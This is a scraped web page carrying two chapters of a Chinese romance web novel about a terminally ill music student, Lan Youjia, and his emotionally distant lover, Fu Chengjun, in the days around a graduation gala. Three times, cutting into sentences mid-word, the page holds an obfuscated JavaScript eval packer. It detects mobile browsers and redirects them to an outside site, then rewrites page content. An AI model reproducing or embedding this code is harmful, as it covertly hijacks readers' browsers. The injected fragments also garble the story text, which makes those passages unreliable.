他的节目已经过了一遍,本来可以先走,但想到姜黎等下会来,怕又起什么冲突,还是留下了。 兰又嘉对上那道关切的目光,朝他露出一个感激的笑容,点了点头:“嗯,没休息好,耽误大家时间了。我请你们喝奶茶好不好?你们想喝哪家?” “真的假的?我要喝新开那家!” 排练室一下热闹起来,兰又嘉笑着将自己的手机递出去,坐在一旁看大家嘻嘻哈哈地挑选着自己想喝哪款。 距离毕业晚会还有两天,这是最后一次排练了,后面只剩活动当天的现场彩排走位。 柯云川问他:“你要哪个?我点过这家的招牌奶茶,味道挺特别的——不对,我记得你不能喝这个的,要不喝柠檬茶?” 旁边有人听见了,好奇道:“为什么不能喝啊?控糖?柠檬茶里糖才多呢。” “不是。”柯云川犹豫了一下,不知道这算不算是隐私,“……反正他就是从来不喝这些的。” 兰又嘉并没有隐瞒,点头道:“因为我蛋白过敏。” 先前跟他不熟的那些大四生更惊讶了:“蛋白过敏?居然还有这种过敏,那不是有很多东西都不能吃?甜品蛋糕那些都不能吧?” “对,基本都不可以。” “哇,那也太惨了,有这么多忌口,要是我不能吃这些甜食,感觉活着都没劲了。” “是啦,所以人家这么瘦,皮肤也好,你再看看你的肚子……” 七嘴八舌的议论声中,先前问兰又嘉是不是生病的那个同学像是被提醒了,再次问他:“嘉嘉,那你过生日岂不是也吃不了蛋糕?” “话说回来,你生日的时候到底发生什么了啊?为什么会叫救护车?咳,我们光听姜黎说了……” 柯云川没好气地瞪他一眼:“喂,你老提那天干嘛!” “没关系。”兰又嘉笑了笑,坦然道,“那天我就是过敏发作了。” “哎?你是吃蛋糕了?” “嗯,过生日嘛。” 这个异常简单的真相出乎了大家的意料。 有人笑:“原来你也会忍不住吃不该吃的东西啊。” 也有人略带怀疑:“不过我好像听谁说过,去年生日你也在医院过的,好像还请了一周假吧?一样是吃了蛋糕过敏吗?” 话音未落,性格直爽的柯云川猛地皱起了眉,一脸即将发作的不满。 但不等他说些什么,兰又嘉却先开口了。 “不是,去年是个意外。” 他的声音清泠悦耳,语调分外平常:“我出了场车祸,所以才住了一周院。” 闹哄哄的气氛有一刹那的静止,连挑起话题的那人都愕然地僵住了。 柯云川此前同样不知道这件事,因为兰又嘉在开始谈恋爱之后,就离大家越来越远,从不主动提起自己的生活。 “车祸?!”即使事情已过去一年,他还是忍不住上下打量起眼前的青年,“严重吗?撞到哪里了?有没有后遗症?” “不严重,我当时系了安全带的。”兰又嘉安慰他,“只是有些脑震荡和擦伤,养了几天就好了,没什么后遗症。” 唯独留下了一道狭长的伤疤,是撞车时被安全带割伤的。 随着此刻浮现上来的回忆,那道位于耳后颈侧的伤疤似乎开始发烫。 他下意识伸手触了触那块平日里被发丝遮掩着的皮肤,笑着看向正拿着他手机的那个同学:“都选好了吗?我来下单。” “——好好,还差两个人,马上马上!” 那显然是一场尚算幸运的小车祸,于是大家松了口气,不必为此摆出沉重肃穆的脸色,重新聊起了天,顺势说起自己遇到过的交通意外。 柯云川也放下心来,只是忽然意识到兰又嘉连续两年都没有好好过一次生日,不由得有些叹息:“希望你明年生日别再出什么意外了,对了,你记得千万不要嘴馋吃蛋糕了,过敏肯定不好受。” 他话音真诚,令那双柔和明媚的眼眸蓦地弯了起来,隐约有湿润的光芒闪动。 “我知道的。”他说,“谢谢你,云川。” 今年生日的过敏是他自找的麻烦。 去年生日的车祸则的确是场意外。 那天他心情很好,迫不及待地想见到傅呈钧,而且想给对方一个惊喜,就瞒着他出发去了公司。 眼睁睁看着另一辆车失控撞上来的时候,兰又嘉有一瞬间以为自己要死了,安全气囊哐当弹出来,而他呆呆地想,要送给傅呈钧的那份礼物肯定被撞坏了。 他才是过生日的人,却给另一个人精心准备了礼物。 那是他最爱傅呈钧的一年。 可即使是在彼此感情最浓烈、关系最亲昵的时候,傅呈钧也没有跟他亲口说过爱。 兰又嘉一直在试图靠近和确认那份爱。 所以被困在座位上,等待救护车到来的那段时间里,他动作笨拙地拨通那个电话,听见里面传来男人失了冷静的慌乱声音时,明明脖子很疼,却忍不住笑了,仿佛收到一份渴望已久的生日礼物。 那一刻的兰又嘉想,这一定是爱了。 可那天被送到病房里的他,看着医生护士来来往往,到最后都没有等到想等的那个人。 也是从这一天起,两人之间的关系就变得离爱越来越远。 直至几天前从秀场出来的那晚,彻底分崩离析。 兰又嘉曾经只是以为,傅呈钧不再爱他了。 却没想过,原来这段关系里,根本不该奢求这样昂贵的字眼。 他们从来不是在谈恋爱。 自始至终,都是他的一厢情愿。 兰又嘉一时间甚至分不清,与年纪轻轻就得了绝症相比,到底哪件事要更悲哀些。 他分明出生在一个散发着爱的味道的日子。 竟连一个完满幸福的生日都得不到。 幸好,明年不必再痴痴盼望。 陈旧的伤疤渐渐冷却,兰又嘉从记忆中抽回心绪,向待他很好的柯云川认真保证道:“不会再出意外了。” 因为没有明年了。 “肯定不会!”柯云川加重音强调了一遍,看他脸色仍然苍白,担忧地问,“要不你今天先到这里?反正你对台本已经很熟了,节目又是即兴……” 他还没说完,外面传来开门的声音。 是姜黎来了。 姜黎一来就看到兰又嘉以前的室友,如临大敌一样反射性挡在了对方面前,生怕他做出什么事。 他嗤笑着翻了个白眼,在听见兰又嘉对柯云川低声说没事的时候,冷笑一声,正要开口讥讽几句,却被一旁刚好跑过来的女同学撞了一下。 “你干什么?!” “不好意思不好意思,没注意看!” 女生匆匆道了歉,攥着一个屏幕停留在外卖页面的手机,对兰又嘉道:“我们选完啦。” “对了,你刚刚收到一条新消息。” 她晃了晃掌心里的手机,笑意促狭地递过去:“你给他的备注是个爱心哦!” 女生写满好奇和调侃的眼睛里,映出青年忽然愣住的面孔。 半小时前,京珠机场。 “你这趟又要飞哪里啊?这么保密干嘛,我都给你看我的机票了。唉说真的,我实在受不了我奶奶了,这几天没睡过一个整觉,我哥不逃,那我就逃咯。” 贵宾休息室里回荡着一道清丽娇蛮的女声。 “喂老傅,理理我啊,别看那些鬼画符了,难得这么巧遇到,聊会儿天嘛。” 然而正对着笔记本电脑工作的男人不为所动,连一个眼神都吝啬给。 硬凑在他旁边的年轻女生有一双妩媚动人的桃花眼,卷翘的长睫忽闪忽闪,涂着时下最流行色号的红唇仍在喋喋不休。 “还看?还看!你也不嫌累得慌,真是变态工作狂——我是不是该庆幸那时候你没看上我?跟你结婚和守活寡有什么区别,啧啧,我真的很佩服你现在那个对象,有这种忍耐力做什么都会成功的,对了,有机会能不能带我见见……” “宋见霜!” 语气冷沉的警告陡然响起。 宋见霜捂了捂受到惊吓的耳朵,表情却一点都不带怕的。 她笑眯眯道:“生气啦?真凶啊。” 在前些年对傅呈钧死缠烂打的那段时间里,她早就习惯男人的冷言冷语了。 这会儿看到对方久违的冷脸,不得不说,怪怀念的呢。 “我也没说什么啊,又是哪句话惹到你了?总不可能是嫌我吵吧,你专心工作的时候根本就不管其他声音……” 满心好奇的宋见霜围着他上下打量研究,突然间发现了问题,惊呼一声:“不对,你屏幕上怎么还是这页鬼画符,动都没动过——你没在工作啊?” 她深感稀奇地瞪大了眼睛:“你刚才不会是在走神吧?我靠,你想什么呢?火星要撞地球了?怪不得你今天的脸色这么难看。” 耳畔杂音响个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804892|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停,傅呈钧烦不胜烦,起身就想走,却在宋见霜的下一句话里停住了脚步。 她说:“我想想啊,你刚才是在我提到你对象的时候发火的,哦,我知道了,你们吵架了?所以你一个人生闷气呢?” 傅呈钧面无表情地俯视着她。 比他矮一大截的女生则笑盈盈地瞪回去。 她毫无惧色,蓦地一拍桌子,恍然大悟道:“不,不是吵架,是你被老婆赶出来了,所以才一副地球马上要爆炸的超级臭脸——” 一分钟后,宋见霜被满脸歉意的服务专员客气地请出了贵宾厅。 机场里人来人往,四周不断响起某趟航班登机或延误的播报声。 而她站在贵宾厅外,盯着里面那道此刻只能瞥见衣角的遥远身影,渐渐扬起了唇角。 下一秒,机票被揉成团丢进了垃圾桶。 宋见霜拖着行李箱,脚步轻快地往机场出口处走去。 她想,太有意思了。 候机室内重归安静。 “傅总,这趟航班预计有三十分钟左右的延误,您可能还需要再等待一会儿才能登机。” 宋见霜离开后,候在一旁的秘书才快步上前,低声向老板汇报航班延误的消息。 高大冷冽的男人立在窗前,颔首道:“知道了。” 灰绿色的眸光停驻在明净闪亮的大片窗玻璃上,直到口袋里传来手机震动的声音,才收回视线。 是重要的合作商发来的消息。 傅呈钧很快处理完了堆积的信息,退出聊天窗口,指腹在屏幕上微微停顿,却并没有摁灭屏幕。 片刻后,指尖滑动,一个个聊天框不断掠过视野。 在很下面的位置,他才找到了那个再熟悉不过的蓝色头像。 仿佛也是到这一刻,傅呈钧才异常清晰地意识到,兰又嘉已经很久没有给他发过消息了。 他点进聊天框,最新一条消息还停留在一周前。 是兰又嘉答辩结束的那天,絮絮叨叨地发过来一堆话,说要来公司找他,最后又自觉地改成了回家等他。 【今天晚上回家好不好?】 【我真的很想见你。】 而那天傅呈钧一直等到忙完下午的事,才在几小时后简短地回了一句。 【明天回来。】 再往后就是一片空白。 兰又嘉再也没有主动找过他。 傅呈钧想了一会儿,才从脑海里找到那个曾经没有机会使用,乃至令他有些不确定含义的词语。 这是……冷战? 在过去的三年时间里,兰又嘉从来没有过这么久的沉寂。 他一直很忙,可那个一贯明媚烂漫的青年,总会想方设法地闯进他的视野。 怔然失神的这一刻,傅呈钧无端地想起了那个发着烧的早晨,怀中人认真地请求他去看自己的毕业晚会。 ——“如果你已经有其他安排,可不可以为我腾出一点时间?对我来说,那一天真的很重要,我不想一个人度过。” 还有更早以前,生日那天特意定了闹钟通视频的凌晨,仍缩在被窝里的人笑得天真又期盼。 ——“那晚能不能算是我们的第一次约会?那时候我才十九岁,呈钧,时间过得好快,我比那时候更加……” 不再是满含憧憬的我们,而是被分隔开的我和你。 有什么东西正在悄无声息地改变。 此刻思绪翻涌的傅呈钧第一次知道,原来自己能将那些已过去的日常琐事记得如此清楚。 尤其是几天前的夜晚,他说出那句话之后,身边人忽然露出的那个笑。 柔软的、湿漉漉的微笑。 在凄寒的夜里分外清晰刻骨。 这晚之后,他们又是几天没有见面。 而他马上就要再次出差。 立在窗边的男人沉默良久,按了按眉心,抬眸看向一旁的秘书,凝声问:“周六晚上有没有行程?” “这周六吗?有的傅总,是跟欧洲那边有一个线上会议,对了,当天下午您会搭乘三点钟的航班前往光海——” “延后一天,把时间空出来。” “全部延后吗?”秘书愣了愣,下意识看了老板一眼,“好的傅总,我马上去办。” 可男人的情绪一贯沉郁内敛,她什么也看不出来。 只依稀觉得,老板这两天有些紧绷的面色,似乎终于放松了一点。 其实大秀那晚,在说完那句话后,傅呈钧就后悔了。 他迄今为止的人生中,鲜少对什么事后悔过。 这种情绪就像这段时间的冷战一样陌生。 所以,这或许是他印象最深刻的一次后悔。 和第一次主动妥协。 傅呈钧垂下眼眸,不再犹豫,修长有力的指节在屏幕上轻触。 一条仍旧简短的文字消息就这样顺着无线电波,飘到了另一个人眼前。 出人意料地打破了横亘一周的冰冷空白。 【后天晚上我会来。】 13.13 傅呈钧走进家门的时候,墙上的时钟刚过五点。 屋外落日熔金,色彩靡丽的黄昏透窗而入,为宽敞明净的房子染上一层流光溢彩的薄暮光晕,诱人沉沦。 但当他穿过玄关,走向飘出烹饪香气的屋内,第一眼注意到的,只有那道漂亮得过分的侧影。 兰又嘉站在半开放式的厨房里,身上系着围裙,神情里透出少有的严肃,正打量着什么:“这个摆盘是不是有点奇怪,我真的觉得不太好看……” 直到余光瞥见了他的身影,话音才戛然而止。 他蓦地转身望过来,一脸藏不住的惊讶:“呈钧?怎么这么早就回来了?” ——早得连那几位专门来家里做菜的大厨,都还没收工离开。 他说话的同时,旁边正在忙碌的几个厨师也循声望来,当即恭声问候道:“傅先生好。” 满身矜贵的男人闻声微一颔首,算作回应。 灰绿色的眸珠里始终只映出那道身影,渐渐泛开一抹笑意。 即使已经不是第一次见,傅呈钧仍觉得眼前这幅画面好笑,便反问回去:“不会做饭还穿着围裙?” “……谁说我不会的。”兰又嘉脸上立刻露出了不高兴的表情,反驳道,“我今天是打算要做菜的!” 他的模样鲜活又灿烂,令傅呈钧眸中的笑意更浓,薄唇微扬:“是么?那我拭目以待。” “知道了知道了,你先出去,这里好挤!” 兰又嘉一边抱怨一边把他推出去,而还在原地忙碌的厨师们,悄悄对视一眼,目露艳羡和感叹,仿佛被这份溢于言表的甜蜜感染。 这是一个充满了丰沛爱意,没有半点龃龉痕迹的夜晚。 就像傅呈钧曾经度过的很多个夜晚那样。 所以再一次置身于幸福景象中的男人,在莫名其妙的怀念心情中,有些恍然地想,今天临时更改行程的冲动决定不算坏。 下午他发出那条消息后,没有等待多久,兰又嘉的回信就来了。 【后天晚上?你要来参加我的毕业晚会吗?!】 【太好了,谢谢你!】 【我很开心,真的特别开心。】 【今晚你会不会回来?要一起吃晚餐吗?】 消息一条接一条跳出来,屏幕另一端的恋人丝毫没有提及上次分别时的不愉快,絮语不停,如往常那样听话和懂事。 可依然有些不太一样的地方。 【今天晚上回家好不好?】 【我真的很想见你。】 彼时,傅呈钧的目光在这两段仅仅相距一行,却时隔一周的消息间来回逡巡。 刚刚退潮的沉郁心情又要涌上来。 微妙的暴躁感驱使他毫不犹豫地爽了约。 ——合作方的约。 秘书听见他在极短时间内第二次取消原定行程后,来不及掩饰的惊异语调,犹在耳边。 聊天框里最新那段文字寥寥的对话,也如在眼前。 【嗯,回来。】 【那晚上见!】 航班还有半小时就要登机起飞,总在一桩桩生意中忙碌辗转的男人却径自离开了机场。 傅呈钧其实不知道自己为什么会这么做。 或许是他不想再发过去一条与上次毫无区别的“明天回来”。 或许,是为了当下的这一刻。 日落月升,窗外夜色深深,屋里灯火通明,一大桌丰盛的晚餐散发着引人垂涎的香气。 厨师们已悄然离开,傅呈钧坐在桌前,看着熟悉的身影从厨房里快步出来,端上最重要的那道主菜。 系着围裙的青年弯腰放下手中的瓷盘,献宝似地告诉他:“这是我做的。” 掀开银色的餐盘盖,霎时露出里面香气扑鼻色泽亮眼的香煎澳龙。 和堂而皇之地摆在正中央,骑在昂贵龙虾头上的一个香煎荷包蛋。 傅呈钧早有预料,不会被障眼法迷惑,淡定道:“做得不错。” “当然!这是我煎过最完美的荷包蛋。” 兰又嘉有一肚子自我赞美要说:“你看蛋黄刚好在正中间,圆圆的,蛋白的边缘像波浪一样,又很均匀,我觉得它长得简直比动画片里的煎蛋更像煎蛋。” 青年絮絮叨叨地向他炫耀这个荷包蛋的形状有多好看,傅呈钧耐心听着,常年淡漠的面孔上露出连自己也未能察觉的轻笑。 兰又嘉不会做饭,最多只会煎个荷包蛋。 像是被很温柔地养大。 相处三年,他从来没有正正经经给傅呈钧做过一顿饭,也从不勉强自己做那些繁琐的家务事,他手中有一长串厨师和家政的名单,一旦有需要,就联系他觉得最合适的人过来。 他不会用厨艺俘获别人的心,也不做忙前忙后的家庭保姆,可在日复一日的相处中,却始终散发着一种奇异的、令人移不开目光的魅力。 絮叨到一半,兰又嘉伸手扯了扯他的衣袖,意犹未尽又依依不舍地提醒道:“趁热吃哦,在有热气的时候吃掉才最完美。” 他的眼睛那样亮。 傅呈钧其实忽然想问,一个蛋白过敏的人,为什么唯独会煎荷包蛋? 可这么问,难免要叫人想起那顿失约的生日晚餐。 所以他没有开口,顺从地拿起刀叉,也没有吝惜赞美:“嗯,味道也很完美。” “是吗?”兰又嘉托着腮看他吃掉了盘子里唯一一个荷包蛋,语气很羡慕,“真嫉妒你,能吃到这么完美的荷包蛋。” 傅呈钧便哑然失笑。 “你还打算再夸自己多久?” “很久吗?我只说了几句而已嘛。倒是你,以后应该多笑笑的,会有更多人喜欢你。” “兰——” “你要凶我吗?你刚刚才吃了我做的菜!” “……” “好吧,我饿了,不说了,我也吃东西。” 青年去自己的座位上坐好,神情怏怏地拿起餐具,嘴上说着饿了,却显然对眼前琳琅满目的食物兴趣寥寥。 直到耳畔响起那道难得有些踌躇的磁性嗓音。 “对员工和合作伙伴太和颜悦色,会给项目推进带来负面影响,不如公事公办的效率更高。” “诶?你在解释为什么不笑吗?” “嗯。” “所以你自己其实是喜欢笑的,只是为了工作要忍着?” “不,不喜欢。” “……” 兰又嘉顿时觉得自己被耍了,忿忿地瞪他一眼。 而男人将他气恼的神情尽收眼底,再度低笑起来。 这一晚的气氛太好,仿佛回到了感情正浓时,谁也舍不得打破。 打破如此幸福的幻象。 连兰又嘉都一度沉溺其中,跟平时一样好好吃了一顿晚餐,还提出了往日会不假思索问出口的邀请。 晚餐后,傅呈钧去书房处理一项突发的工作,他没关门,兰又嘉就习惯性地跟了进去,像曾经那样缠着他。 他在工作时并非一概不能打扰,处理枯燥事务时,善于一心多用的傅呈钧反而乐意耳边有个人喋喋不休,起码能带来一点乐趣。 他分心听着,偶尔会回应。 兰又嘉安安分分地坐在男人身旁,说起学校旁边新开的奶茶店,说起莫名其妙很讨厌自己的一个同学,说起今天排练时因为没睡好频频走神…… 也说起仍在心底隐隐作祟的渴望。 “呈钧,天气预报说博茨瓦纳又有地方快下雪了,可不可以陪我去看雪?你答应过我的。” 他真的很好奇非洲下雪的样子,不想仅仅是从旁人拍下的影像里看见这一幕,更想亲眼目睹。 是因为傅呈钧,他才会关心南非的天气预报,才会知道那片遥远炎热的大陆原来也有雪景。 所以兰又嘉最想和他一起去那里。 闻言,正盯着电脑屏幕的傅呈钧头也不抬道:“今年没有时间,等明年。” 在负责JA集团亚太区业务的同时,他还在去年彻底接手了傅家这边的实业集团,今年是后者发展的关键时期,有权力交替更迭,亦有矛盾暗潮涌动,是傅呈钧最忙的一年,比往年要忙得多。 “明年?” 兰又嘉轻轻地重复了一遍这个词,安静片刻后,再度开口。 “傅呈钧,我想今年去非洲看雪,你陪我去,你可以在酒店里工作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809855|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好不好?” 撒娇般的尾音令男人的动作有稍许停顿。 但他仍然坚持自己的决定。 “不行,过两天我要去光海,整个六月基本都会待在那里。” 又一次被拒绝的青年安静了好一会儿。 再开口时,仍是柔和却执着的提问。 “傅先生,那你七月份有空吗?” 七月是南非最冷的季节,应该也会下雪。 他一反常态地将同一件事变着花样提了三次。 到第三次,连傅呈钧都诧异起来,抬眸看他:“非要这段时间去?” “嗯,但是你不去也没关系。” 兰又嘉已经从他的语气里得到了答案,垂着眼道:“我不会再问了,我可以跟别人一起去,也可以一个人去。” 事不过三,他知道的。 他话音平静,傅呈钧便真的没有再放在心上,转而问起更关心的事。 “你刚才叫我什么?” “傅先生。”兰又嘉说,“以后我可以一直这样叫你。” 他第一次见傅呈钧时,就是那样叫他的。 傅先生。 傅呈钧已经有差不多两年没听过兰又嘉这样叫自己了,一时间竟有些恍惚。 回过神来,他半是揶揄半是不满道:“在床上这么叫就够了。” 身边人就笑了一下,顺从地问:“傅先生,上床吗?” 这是最后一次了。 他们的关系从性开始,也该从这里结束,画下有始有终的句点。 没有一起看雪,那他会独自离开。 去哪里都好。 听他这么问,傅呈钧愣了一下,灰绿眸子定定地注视着他。 然后,男人起身,结实有力的手臂一伸,轻而易举地将他抱了起来。 兰又嘉条件反射般小声提醒:“……轻一点。” 可他没想到的是,傅呈钧并没有把自己抱进房间。 兰又嘉被圈在男人怀里,坐在他腿上,听见发顶传来笑意清晰的低沉声音:“怕疼还主动招我?” 他被温暖炽热的怀抱全然笼罩,几乎做梦一样。 梦里的傅呈钧格外温柔:“不是说没睡好么?认真陪我工作一会儿,你就该困了。” 傅呈钧没有带他上床,而是抱着他工作。 面前的屏幕上是密密麻麻的法文,夜晚灯光昏黄,衬得男人雕刻般锐利的脸部轮廓也柔和了许多。 兰又嘉听话地看了一会儿,打了个哈欠,眼眸湿润地说:“不是英文,我看不懂。” “所以你困得更快。” “也对哦。”他就点点头,脸颊温顺地擦过男人的下颌,“傅先生,胡茬冒出来了,好扎。” 傅呈钧很模糊地应了一声,落在他腰间的大手带点威胁地紧了紧:“别乱动。” 男人声线很沉,落在耳畔酥酥麻麻。 兰又嘉忍不住笑了。 等到眸中盈满了一弯月牙般的碎金流光,暖得眼眶发热,他才蓦然发觉,原来事过情迁,这样平常的笑容竟也成了奢侈。 这些天里,他和傅呈钧总是不欢而散。 其实兰又嘉不希望这样。 哪怕不必说分手,他还是想要一场不留遗憾的体面告别。 不能一起看雪,能有这顿晚餐就很好。 还有他最想纪念的后天晚上。 这样已经足够了。 足够让他不后悔这三年全心全意的追逐。 而这一晚直到最后,也只是怀抱。 在宛如热恋的甜美夜晚,兰又嘉被困意彻底席卷之前,下意识地说:“晚安。” 仍在工作的傅呈钧轻笑一声:“今天倒很大方。” 兰又嘉平时很少这么说。 于是他同样温声道:“睡吧,晚安。” 道晚安的同时,微凉的唇在他眉眼处悄然印下一个轻柔的吻。 兰又嘉便翘起唇角,喃喃回应:“后天见。” 很快,他在男人温暖有力的怀抱里沉沉地睡着了。 呼吸间都是那人身上风雪般的冷香。 令他做了一个大雪纷飞的美梦。 14.14 兰又嘉不断回想着日光明媚的午后,遥远的城市景观被纷纷扬扬的白雪覆盖,天地间一片光亮,盈满了灼然的洁白与灿金 还有黄褐色的辽阔原野上,满身斑点的野豹正动作矫健地飞跃过波光粼粼的水泊。 灰蒙蒙的大象迈动着粗壮的腿,成群结队迁徙时掀起尘土飞扬,长而上翘的象牙离镜头很近,并不如想象中那样洁白,透着野生的沧桑和粗粝。 可惜在相机捕捉到它们迁徙的时候,天空中尚未飘雪,否则这幅画面一定会更令人难以忘怀。 因为有草原、远山、天与雪、追逐着野生动物的渺小人类。 ……和逐渐遍及全身、钻心噬骨的剧烈疼痛。 即使他已经在想方设法转移自己的注意力,尽可能去想象一些遥远的、美丽的东西,也难以忽略身体深处几近痉挛的疼痛。 耳畔乍然响起旁人的声音,像片朦胧的云。 “兰又嘉,你到底怎么了?” 负责组织这场晚会的老师忧心忡忡,本能地伸手去探他的额头温度:“你的脸色真的非常不好,是胃痛吗?还是哪里不舒服?” 现在是傍晚六点多,距离京珠音乐学院今年这场毕业晚会的正式开始,只剩下不到一个小时。 连老师都没想到,过去三年里在学校各种大大小小的活动中,从来没掉过链子的兰又嘉,竟会在自己毕业前的最后一次主持活动时,发生这么突然的意外。 “……是胃痛。” 她面前的青年蜷缩在后台休息室里的沙发上,面色苍白得惊人,正尽可能平复着痛到紊乱的呼吸,话音里满是歉意:“对不起,我刚吃了止痛药,等药效发作就好了。” 前天,意外知道傅呈钧要来看晚会的兰又嘉格外开心,已经缠绕了他一段时间的疼痛一度偃旗息鼓,食欲也自然恢复,令他幸运地度过一个美好安然、美梦作伴的夜晚。 可从昨天睡醒之后开始,一整晚没有发作的癌痛来势汹汹,如疯涨的野火烧灼着他的腹部,甚至向更多地方蔓延。 或许是因为前些天他为了让自己有吃东西的胃口,连着吃了好几种助消化的肠胃药,却将本就脆弱的身体搞得一团糟,他不该乱吃那么多药的。 或许癌症本就是这样的,偶尔能像正常人一样若无其事,可更多时候,痛得人宁愿即刻死去。 从昨天到现在,兰又嘉就没有断过止痛药。 刚才他又仓皇咽下好几粒。 “你吃了什么药?”老师脸上写满了焦急的关切,“我看你痛得很厉害,马上去医院比较好!万一拖久了胃穿孔怎么办?” “可是晚会马上就要……” 平日里温和的女老师难得语气严厉:“别管晚会了!我可以马上叫其他人来替你主持,本身就做了应对突发情况的准备。” “你不用担心,这里的一切都会正常进行的,你的缺席不会对今天晚上有什么不好的影响,真的,兰又嘉,别逞强,你这个状态怎么能上台,身体最重要——” 兰又嘉知道她说得很对。 不要逞强给别人带来更多麻烦。 身体最重要。 可同一时间,他也听见闹哄哄的后台里飘荡着的兴奋议论声。 “我刚看到第一排正中央那个椅子上贴的座位牌了,真写着傅呈钧啊!他今晚真的要来吗?去年校庆都没来吧?” “去年又不是整数年,那种大忙人怎么会来,可能今天刚好有空吧。” “有道理哦,不过你怎么一点都不激动啊?” “有什么好激动的,大前年我亲眼见过他来参加校庆的嘛,那时候你没入学呢——我靠,真来了!论坛帖子里有他的车开进学校的照片了,就刚刚!!妈呀今年怎么来得这么早,那年明明是踩点到的!” “诶,还说你不激动……” 嘻嘻哈哈的笑声飘进休息室,此时焦头烂额的学校老师无暇细听,却见到眼前人原本痛得湿意弥漫的眸子,蓦地亮了起来。 “能不能再给我十分钟?” 这一刻本该脆弱不堪的年轻人却祈求地、讨好地望着她:“十分钟后止痛药一定就会起作用,我不想错过今天晚上,对我来说真的很重要……只要再给我十分钟,好不好?” 她便无言地想,应该没有人能对着这样一双眼睛,说出冷冰冰的拒绝。 片刻后,老师叹了口气,妥协道:“十分钟后如果你的状况还没有好转,我就让人送你去医院,不过无论如何,我都会做二手准备的,就算等下你照旧上了台去主持,万一中途身体情况有什么变化,不准强撑,立刻跟我说,知不知道?” “我知道,谢谢老师。” 她看见青年眼里闪烁着一种很天真明媚的东西,话音也变得热烈。 他很认真地说:“谢谢你。” 他知道今晚傅呈钧如约来了。 他知道昨天中午收到的那封发件人是宋见风,附件里是非洲照片压缩包的邮件,显然是傅呈钧要求发过来的。 尽管傅呈钧并不明白他为什么会反复纠缠要在今年一起去南非看雪,但仍然让他看到了一场雪。 仿佛一种随手为之的补偿。 而邮件里不仅有雪景照片,还有许多没有雪花的非洲风光照。 其中几张照片的文件名诙谐有趣,大约是宋见风随手写下的。 摄有大象穿过草原迁徙的照片,名字叫:幸好没有对我甩鼻子的野生象群。 摄有野豹迅猛跃过水泊的照片,名字叫:不幸将在五秒钟后咬我一口的非洲豹。 …… 摄有哈博罗内市郊雪景的照片,名字叫:与此同时,老傅正坐在我身后的沙发里忙工作。 所以,他们也算是看过了同一场雪。 而今晚,傅呈钧依言出席了他人生中最后一个光彩夺目的时刻。 兰又嘉想,已经很好了。 他不能再苛求别人。 只盼望自己能顺利地坚持到晚会结束,体面离场。 正如开始时那样。 晚上七点整,满场灯光暗下,人声鼎沸的千人礼堂渐渐变得安静。 拉开的暗红帷幕垂悬在舞台两侧,聚光灯与射灯的闪耀中,两道交织着的脚步声由远及近地传来。 几乎在那两道分外相衬的身影并肩出现的一瞬间,台下就传来了学生们起哄般的欢呼声与掌声。 走在右边的女生容貌姣好,一袭精致礼裙随着步伐款款摆动,她在舞台中央站定,朝台下的观众们露出一个落落大方的微笑。 紧接着,她的目光移向左侧的搭档。 旁边的年轻男生穿着一身简单优雅的黑西装搭白衬衫,有一双漂亮柔和的杏眼,回望这道视线时带了几分疑惑,像是在问看他做什么。 台下便响起一阵笑声。 女生只好举起握在手中的话筒,看向下方观众,柔声说出最标准的开场白:“晚上好。” 另一道清澈好听的男声随后加入:“晚上好。” 他同整个礼堂里的观众打完招呼,才恍然似地再度看向一旁的女主持人:“原来你也在等我第一个说台词。” “也?”女生就笑起来,“那我们还蛮有默契哦。” “毕竟我们一起搭档主持了三年的学校晚会。”男生同样笑着,仿佛在回忆,“加起来有多少次了?” “记不清了,总之有很多次。”说到这里,女生的话音里染上几分真切的不舍,“不过,今晚是最后一次了。” “——也是最有默契的一次,对不对?” 在这句尾音上扬的温柔安慰里,不等她回答,座无虚席的礼堂里已爆发出学生们高喊着“对!!”的汹涌声浪。 于是他们笑着对视一眼,格外默契地一起开口。 “尊敬的学校领导、各位来宾,亲爱的同学们,大家晚上好,欢迎来到京珠音乐学院2025届本科生……” 在莫名扣人心弦的开场对话之后,原本乏味无趣的主持台词,都变得生动了起来,台下的学生们反应格外热烈,校领导和老师们同样面露笑意。 很快,开场结束,在学生们准备的毕业节目正式开始前,先由领导上台致辞。 退场等候的间隙里,两个主持人一回到幕后,同他很有默契的女生立刻面露忧色:“嘉嘉你怎么样?还好吧?我看你脸色还是有点发白。” 兰又嘉摇摇头,下意识想去找镜子:“没事,很明显吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812544|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >止痛药已经起效,现在的疼痛至少在可以忍受的范围内。 “不明显,灯光打得那么亮,台下肯定是看不出来……你千万别强撑啊。” 担心着他的搭档开了个玩笑:“虽然我知道我魅力很大,但你可千万不要因为想着最后跟我搭档一次,结果把身体给耽误了。” 